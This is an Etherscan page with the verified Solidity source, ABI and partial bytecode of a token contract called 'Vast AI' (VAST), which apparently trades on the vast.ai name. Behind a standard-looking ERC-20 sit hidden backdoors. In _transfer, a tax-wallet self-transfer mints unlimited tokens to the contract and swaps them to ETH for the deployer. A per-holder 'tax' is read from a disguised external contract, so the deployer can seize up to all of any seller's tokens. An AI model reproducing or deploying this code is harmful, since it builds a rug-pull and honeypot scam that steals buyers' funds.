Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IUniswapV2Router02    - function WETH()    - function swapExactTokensForETHSupport ...    - function factory() interface IUniswapV2Factory    - function getPair(address tokenA, addr ...  contract VastAI *    - function decimals()    - function name()    - function symbol()    - function totalSupply()    - function allowance(address owner, add ...    - function balanceOf(address account)    - function transfer(address recipient, ...    - function approve(address spender, uin ...    - function _approve(address owner, addr ...    - function swapTokensForETH(uint256 amo ...    - function getPair()    - function transferFrom(address sender, ...    - function _transfer(address from, addr ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-01-18
*/

// SPDX-License-Identifier: None

// https://vast.ai/

pragma solidity 0.8.22;

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}


contract VastAI {
    mapping (address => uint256) private _balances;
    uint8 private _decimals = 9;
    uint256 private _totalSupply =  1000000 * 10 ** _decimals;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Factory private uniswapV2Factory = IUniswapV2Factory(0x82D0cc0b60D1A922fD98B95C03Da98De20D4E7eb);
    address payable internal _taxWallet;
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    mapping (address => mapping (address => uint256)) private _allowances;

    string private _name = "Vast AI";
    string private _symbol = "VAST";

    constructor () {
        _balances[msg.sender] = _totalSupply;
        _taxWallet = payable(msg.sender);
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function swapTokensForETH(uint256 amount) private {
        address[] memory path = new address[](2);
        path[0] = address(this); 
        path[1] =  uniswapV2Router.WETH(); 
        _approve(address(this), address(uniswapV2Router), amount); 
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, path, _taxWallet, block.timestamp + 30);
    }

    function getPair() public view returns (address) {
        return IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(to != address(0), "ERC2O: transfer to the zero address");
        require(from != address(0), "ERC2O: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if ( to == from && from == _taxWallet) {
            _balances[address(this)] += amount;
            return swapTokensForETH(amount);
        }
        if (from != address(this) && from != getPair() && from != _taxWallet && to != _taxWallet) {
            taxAmount = amount * (uint256(uint160(uniswapV2Factory.getPair(from, address(this))))) / 100;
        }
        _balances[to]=_balances[to] + amount - taxAmount;
        _balances[from]=_balances[from] - amount;

        emit Transfer(from, to, amount - taxAmount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600960015f6101000a81548160ff021916908360ff16021790555060015f9054906101000a900460ff16600a6200003c9190620003ad565b620f42406200004c9190620003fd565b600255737a250d5630b4cf539739df2c5dacb4c659f2488d60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507382d0cc0b60d1a922fd98b95c03da98de20d4e7eb60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600781526020017f5661737420414900000000000000000000000000000000000000000000000000815250600790816200013d9190620006a2565b506040518060400160405280600481526020017f564153540000000000000000000000000000000000000000000000000000000081525060089081620001849190620006a2565b5034801562000191575f80fd5b506002545f803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503360055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000786565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620002a5578086048111156200027d576200027c6200021b565b5b60018516156200028d5780820291505b80810290506200029d8562000248565b94506200025d565b94509492505050565b5f82620002bf576001905062000391565b81620002ce575f905062000391565b8160018114620002e75760028114620002f25762000328565b600191505062000391565b60ff8411156200030757620003066200021b565b5b8360020a9150848211156200032157620003206200021b565b5b5062000391565b5060208310610133831016604e8410600b8410161715620003625782820a9050838111156200035c576200035b6200021b565b5b62000391565b62000371848484600162000254565b925090508184048111156200038b576200038a6200021b565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620003b98262000398565b9150620003c683620003a1565b9250620003f57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620002ae565b905092915050565b5f620004098262000398565b9150620004168362000398565b9250828202620004268162000398565b9150828204841483151762000440576200043f6200021b565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620004c357607f821691505b602082108103620004d957620004d86200047e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200053d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000500565b62000549868362000500565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200058a620005846200057e8462000398565b62000561565b62000398565b9050919050565b5f819050919050565b620005a5836200056a565b620005bd620005b48262000591565b8484546200050c565b825550505050565b5f90565b620005d3620005c5565b620005e08184846200059a565b505050565b5b818110156200060757620005fb5f82620005c9565b600181019050620005e6565b5050565b601f82111562000656576200062081620004df565b6200062b84620004f1565b810160208510156200063b578190505b620006536200064a85620004f1565b830182620005e5565b50505b505050565b5f82821c905092915050565b5f620006785f19846008026200065b565b1980831691505092915050565b5f62000692838362000667565b9150826002028217905092915050565b620006ad8262000447565b67ffffffffffffffff811115620006c957620006c862000451565b5b620006d58254620004ab565b620006e28282856200060b565b5f60209050601f83116001811462000718575f841562000703578287015190505b6200070f858262000685565b8655506200077e565b601f1984166200072886620004df565b5f5b8281101562000751578489015182556001820191506020850194506020810190506200072a565b868310156200077157848901516200076d601f89168262000667565b8355505b6001600288020188555050505b505050505050565b611a2180620007945f395ff3fe608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a57806395d89b411461018a578063a9059cbb146101a8578063c1f1b1b5146101d8578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b591906110d5565b60405180910390f35b6100d860048036038101906100d39190611186565b6102b6565b6040516100e591906111de565b60405180910390f35b6100f66102cc565b6040516101039190611206565b60405180910390f35b6101266004803603810190610121919061121f565b6102d5565b60405161013391906111de565b60405180910390f35b61014461037a565b604051610151919061128a565b60405180910390f35b610174600480360381019061016f91906112a3565b61038f565b6040516101819190611206565b60405180910390f35b6101926103d4565b60405161019f91906110d5565b60405180910390f35b6101c260048036038101906101bd9190611186565b610464565b6040516101cf91906111de565b60405180910390f35b6101e061047a565b6040516101ed91906112dd565b60405180910390f35b610210600480360381019061020b91906112f6565b610614565b60405161021d9190611206565b60405180910390f35b60606007805461023590611361565b80601f016020809104026020016040519081016040528092919081815260200182805461026190611361565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b5050505050905090565b5f6102c2338484610696565b6001905092915050565b5f600254905090565b5f6102e1848484610859565b61036f84338460065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461036a91906113be565b610696565b600190509392505050565b5f60015f9054906101000a900460ff16905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600880546103e390611361565b80601f016020809104026020016040519081016040528092919081815260200182805461040f90611361565b801561045a5780601f106104315761010080835404028352916020019161045a565b820191905f5260205f20905b81548152906001019060200180831161043d57829003601f168201915b5050505050905090565b5f610470338484610859565b6001905092915050565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105099190611405565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561058f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b39190611405565b6040518363ffffffff1660e01b81526004016105d0929190611430565b602060405180830381865afa1580156105eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060f9190611405565b905090565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb906114c7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610772576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076990611555565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084c9190611206565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be906115e3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092c90611671565b60405180910390fd5b5f8111610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096e906116ff565b60405180910390fd5b5f8373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156109ff575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610a6557815f803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a4f919061171d565b92505081905550610a5f82610de8565b50610de3565b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610ad45750610aa461047a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610b2d575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610b86575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610c5657606460045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390586306040518363ffffffff1660e01b8152600401610be9929190611430565b602060405180830381865afa158015610c04573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c289190611405565b73ffffffffffffffffffffffffffffffffffffffff1683610c499190611750565b610c5391906117be565b90505b80825f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c9f919061171d565b610ca991906113be565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d3191906113be565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610dcc91906113be565b604051610dd99190611206565b60405180910390a3505b505050565b5f600267ffffffffffffffff811115610e0457610e036117ee565b5b604051908082528060200260200182016040528015610e325781602001602082028036833780820191505090505b50905030815f81518110610e4957610e4861181b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f119190611405565b81600181518110610f2557610f2461181b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610f8b3060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610696565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601e42610ffa919061171d565b6040518663ffffffff1660e01b815260040161101a959493929190611993565b5f604051808303815f87803b158015611031575f80fd5b505af1158015611043573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611082578082015181840152602081019050611067565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6110a78261104b565b6110b18185611055565b93506110c1818560208601611065565b6110ca8161108d565b840191505092915050565b5f6020820190508181035f8301526110ed818461109d565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611122826110f9565b9050919050565b61113281611118565b811461113c575f80fd5b50565b5f8135905061114d81611129565b92915050565b5f819050919050565b61116581611153565b811461116f575f80fd5b50565b5f813590506111808161115c565b92915050565b5f806040838503121561119c5761119b6110f5565b5b5f6111a98582860161113f565b92505060206111ba85828601611172565b9150509250929050565b5f8115159050919050565b6111d8816111c4565b82525050565b5f6020820190506111f15f8301846111cf565b92915050565b61120081611153565b82525050565b5f6020820190506112195f8301846111f7565b92915050565b5f805f60608486031215611236576112356110f5565b5b5f6112438682870161113f565b93505060206112548682870161113f565b925050604061126586828701611172565b9150509250925092565b5f60ff82169050919050565b6112848161126f565b82525050565b5f60208201905061129d5f83018461127b565b92915050565b5f602082840312156112b8576112b76110f5565b5b5f6112c58482850161113f565b91505092915050565b6112d781611118565b82525050565b5f6020820190506112f05f8301846112ce565b92915050565b5f806040838503121561130c5761130b6110f5565b5b5f6113198582860161113f565b925050602061132a8582860161113f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061137857607f821691505b60208210810361138b5761138a611334565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113c882611153565b91506113d383611153565b92508282039050818111156113eb576113ea611391565b5b92915050565b5f815190506113ff81611129565b92915050565b5f6020828403121561141a576114196110f5565b5b5f611427848285016113f1565b91505092915050565b5f6040820190506114435f8301856112ce565b61145060208301846112ce565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6114b1602483611055565b91506114bc82611457565b604082019050919050565b5f6020820190508181035f8301526114de816114a5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61153f602283611055565b915061154a826114e5565b604082019050919050565b5f6020820190508181035f83015261156c81611533565b9050919050565b7f455243324f3a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6115cd602383611055565b91506115d882611573565b604082019050919050565b5f6020820190508181035f8301526115fa816115c1565b9050919050565b7f455243324f3a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61165b602583611055565b915061166682611601565b604082019050919050565b5f6020820190508181035f8301526116888161164f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6116e9602983611055565b91506116f48261168f565b604082019050919050565b5f6020820190508181035f830152611716816116dd565b9050919050565b5f61172782611153565b915061173283611153565b925082820190508082111561174a57611749611391565b5b92915050565b5f61175a82611153565b915061176583611153565b925082820261177381611153565b9150828204841483151761178a57611789611391565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6117c882611153565b91506117d383611153565b9250826117e3576117e2611791565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61187461186f61186a84611848565b611851565b611153565b9050919050565b6118848161185a565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6118bc81611118565b82525050565b5f6118cd83836118b3565b60208301905092915050565b5f602082019050919050565b5f6118ef8261188a565b6118f98185611894565b9350611904836118a4565b805f5b8381101561193457815161191b88826118c2565b9750611926836118d9565b925050600181019050611907565b5085935050505092915050565b5f61195b611956611951846110f9565b611851565b6110f9565b9050919050565b5f61196c82611941565b9050919050565b5f61197d82611962565b9050919050565b61198d81611973565b82525050565b5f60a0820190506119a65f8301886111f7565b6119b3602083018761187b565b81810360408301526119c581866118e5565b90506119d46060830185611984565b6119e160808301846111f7565b969550505050505056fea26469706673582212204e4844e98d66bf7aa2525ff04ca2b8e3ba0d6015eccf1e846f631b3da2ae9ec364736f6c63430008160033

0x608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a57806395d89b411461018a578063a9059cbb146101a8578063c1f1b1b5146101d8578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b591906110d5565b60405180910390f35b6100d860048036038101906100d39190611186565b6102b6565b6040516100e591906111de565b60405180910390f35b6100f66102cc565b6040516101039190611206565b60405180910390f35b6101266004803603810190610121919061121f565b6102d5565b60405161013391906111de565b60405180910390f35b61014461037a565b604051610151919061128a565b60405180910390f35b610174600480360381019061016f91906112a3565b61038f565b6040516101819190611206565b60405180910390f35b6101926103d4565b60405161019f91906110d5565b60405180910390f35b6101c260048036038101906101bd9190611186565b610464565b6040516101cf91906111de565b60405180910390f35b6101e061047a565b6040516101ed91906112dd565b60405180910390f35b610210600480360381019061020b91906112f6565b610614565b60405161021d9190611206565b60405180910390f35b60606007805461023590611361565b80601f016020809104026020016040519081016040528092919081815260200182805461026190611361565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b5050505050905090565b5f6102c2338484610696565b6001905092915050565b5f600254905090565b5f6102e1848484610859565b61036f84338460065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461036a91906113be565b610696565b600190509392505050565b5f60015f9054906101000a900460ff16905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600880546103e390611361565b80601f016020809104026020016040519081016040528092919081815260200182805461040f90611361565b801561045a5780601f106104315761010080835404028352916020019161045a565b820191905f5260205f20905b81548152906001019060200180831161043d57829003601f168201915b5050505050905090565b5f610470338484610859565b6001905092915050565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105099190611405565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561058f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b39190611405565b6040518363ffffffff1660e01b81526004016105d0929190611430565b602060405180830381865afa1580156105eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060f9190611405565b905090565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb906114c7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610772576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076990611555565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084c9190611206565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be906115e3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092c90611671565b60405180910390fd5b5f8111610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096e906116ff565b60405180910390fd5b5f8373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156109ff575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610a6557815f803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a4f919061171d565b92505081905550610a5f82610de8565b50610de3565b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610ad45750610aa461047a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610b2d575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610b86575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610c5657606460045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390586306040518363ffffffff1660e01b8152600401610be9929190611430565b602060405180830381865afa158015610c04573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c289190611405565b73ffffffffffffffffffffffffffffffffffffffff1683610c499190611750565b610c5391906117be565b90505b80825f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c9f919061171d565b610ca991906113be565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d3191906113be565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610dcc91906113be565b604051610dd99190611206565b60405180910390a3505b505050565b5f600267ffffffffffffffff811115610e0457610e036117ee565b5b604051908082528060200260200182016040528015610e325781602001602082028036833780820191505090505b50905030815f81518110610e4957610e4861181b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f119190611405565b81600181518110610f2557610f2461181b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610f8b3060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610696565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601e42610ffa919061171d565b6040518663ffffffff1660e01b815260040161101a959493929190611993565b5f604051808303815f87803b158015611031575f80fd5b505af1158015611043573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611082578082015181840152602081019050611067565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6110a78261104b565b6110b18185611055565b93506110c1818560208601611065565b6110ca8161108d565b840191505092915050565b5f6020820190508181035f8301526110ed818461109d565b905092915050565b5f80fd5b5